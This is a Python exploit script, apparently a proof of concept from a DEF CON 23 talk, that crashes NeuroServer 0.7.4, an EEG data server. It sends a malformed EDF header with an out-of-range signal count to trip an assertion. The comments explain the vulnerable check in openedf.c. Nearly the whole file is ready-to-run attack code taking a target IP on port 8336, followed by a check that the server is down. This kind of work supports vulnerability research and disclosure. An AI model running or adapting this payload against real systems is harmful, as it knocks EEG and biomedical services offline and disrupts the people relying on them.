#!/usr/bin/env python
#
# NeuroServer 0.7.4 Remote DoS
#
# Shown at DEF CON 23 (BioHacking Village)
# Brain Waves Surfing - (In)Security in EEG (Electroencephalography) Technologies
# Slides: http://goo.gl/44r1HH
#
# NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver
# http://openeeg.sourceforge.net/doc/sw/NeuroServer/
#
# Neuroserver mediates between the raw EEG devices and all the various EEG
# applications that the user may wish to run to analyse the incoming EEG data.
# Data is transmitted using TCP/IP, which means that the EEG data can just as
# easily pass over a network (or even the internet) as stay on the same machine.
# Standard EDF is used for header information and for file storage.
# The server is designed to run on Windows and Linux.
#
#------------------------------------------------------------------------------
#
# nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at
# ~/NeuroServer-0.7.4/src/openedf.c:
# ...
# assert(isValidREDF(result));
# ...
# int isValidREDF(const struct EDFDecodedConfig *cfg)
# {
# int i;
# if (cfg->hdr.dataRecordSeconds != 1.0) {
# setLastError("The data record must be exactly 1 second, not %f.",
# cfg->hdr.dataRecordSeconds);
# return 0;
# }
# if (cfg->hdr.dataRecordChannels < 1) {
# setLastError("The data record must have at least one channel.");
# return 0;
# }
# if (cfg->chan[0].sampleCount < 1) {
# setLastError("Channel 0 must have at least one sample.");
# return 0;
# }
# for (i = 1; i < cfg->hdr.dataRecordChannels; ++i) {
# if (cfg->chan[i].sampleCount != cfg->chan[0].sampleCount) {
# setLastError("Channel %d has %d samples, but channel 0 has %d. These must be the same.", cfg->chan[i].sampleCount, cfg->chan[0].sampleCount);
# return 0;
# }
# }
# return 1;
# }
#
import socket
import time
import sys
# Malformed EDF header
# Spec: http://www.edfplus.info/specs/edf.html
EDF = "0 " # Version
EDF += "Alejandro Hernandez " # Patient Identification
EDF += "NeuroSky MindWave " # Recording Identification
EDF += "07.04.1520.55.28768 EDF+C " # Startdate of Recording
EDF += "29 " # Number of Data Records
EDF += "1 " # Duration of a Data Record in Seconds
EDF += "1337 " # Number of Signals. This value triggers the DoS: assert(cfg->hdr.dataRecordChannels < MAXCHANNELS);
EDF += "Electrode EDF Annotations " # Labels and other data per channel
EDF += "-32768 -1 32767 1 -32768 -32768 32767 32767 " # PhysiMin PhysiMax DigiMin DigiMax
if len(sys.argv) != 2:
print 'Usage: ' + __file__ + ' <NeuroServer IP>'
sys.exit(1)
print r'''
__,--"""""""""--,.
_ -\'" _\ ^-,_
,-" _/ \_
, / \ \
,' /_ | \
/ _____,--""" / ) \
/ / / ( |
| / / ) |
| / NeuroServer 0.7.4 Remote DoS \
( (_/\ ) / \
\ \_ ____,====""" / |
\ /" /"" |
\_ _,-" |___,-'--------'" |
"`------"" --" ,-' /
/ ---" /
\___/ __,-----,___ )
\ ,--'"============""""-'"
"-'" | |=================/
/___\===============/
/ |=============/"
\ \_________,-"
| |
| |
'''
neuroserver = (sys.argv[1], 8336)
s = socket.socket()
print '|- Connecting to %s on port %s\n' % neuroserver
try:
s.connect(neuroserver)
except Exception, e:
print '|- Can\'t connect to %s:%d' % neuroserver
print '|- Exception: %s' % (e)
sys.exit(1)
print '|- Entering in EEG role. NeuroServers\' response:'
s.send('eeg\n') # EEG role in NeuroServer
print '----------------------------------------------'
print s.recv(16).strip('\n')
print '----------------------------------------------'
print '|- Sending Malformed EDF header (%d bytes):' % len(EDF)
print '----------------------------------------------'
print EDF
print '----------------------------------------------\n'
s.send('setheader ' + EDF + '\n')
time.sleep(4)
print '|- NeuroServer should be dead now. Connecting...\n'
try:
s = socket.socket()
s.connect(neuroserver)
except Exception, e:
print '|- NeuroServer is down !'
print '|- Exception: %s' % (e)
else:
print '|- NeuroServer is still alive :-\, try again...'
finally:
s.close()
sys.exit(0);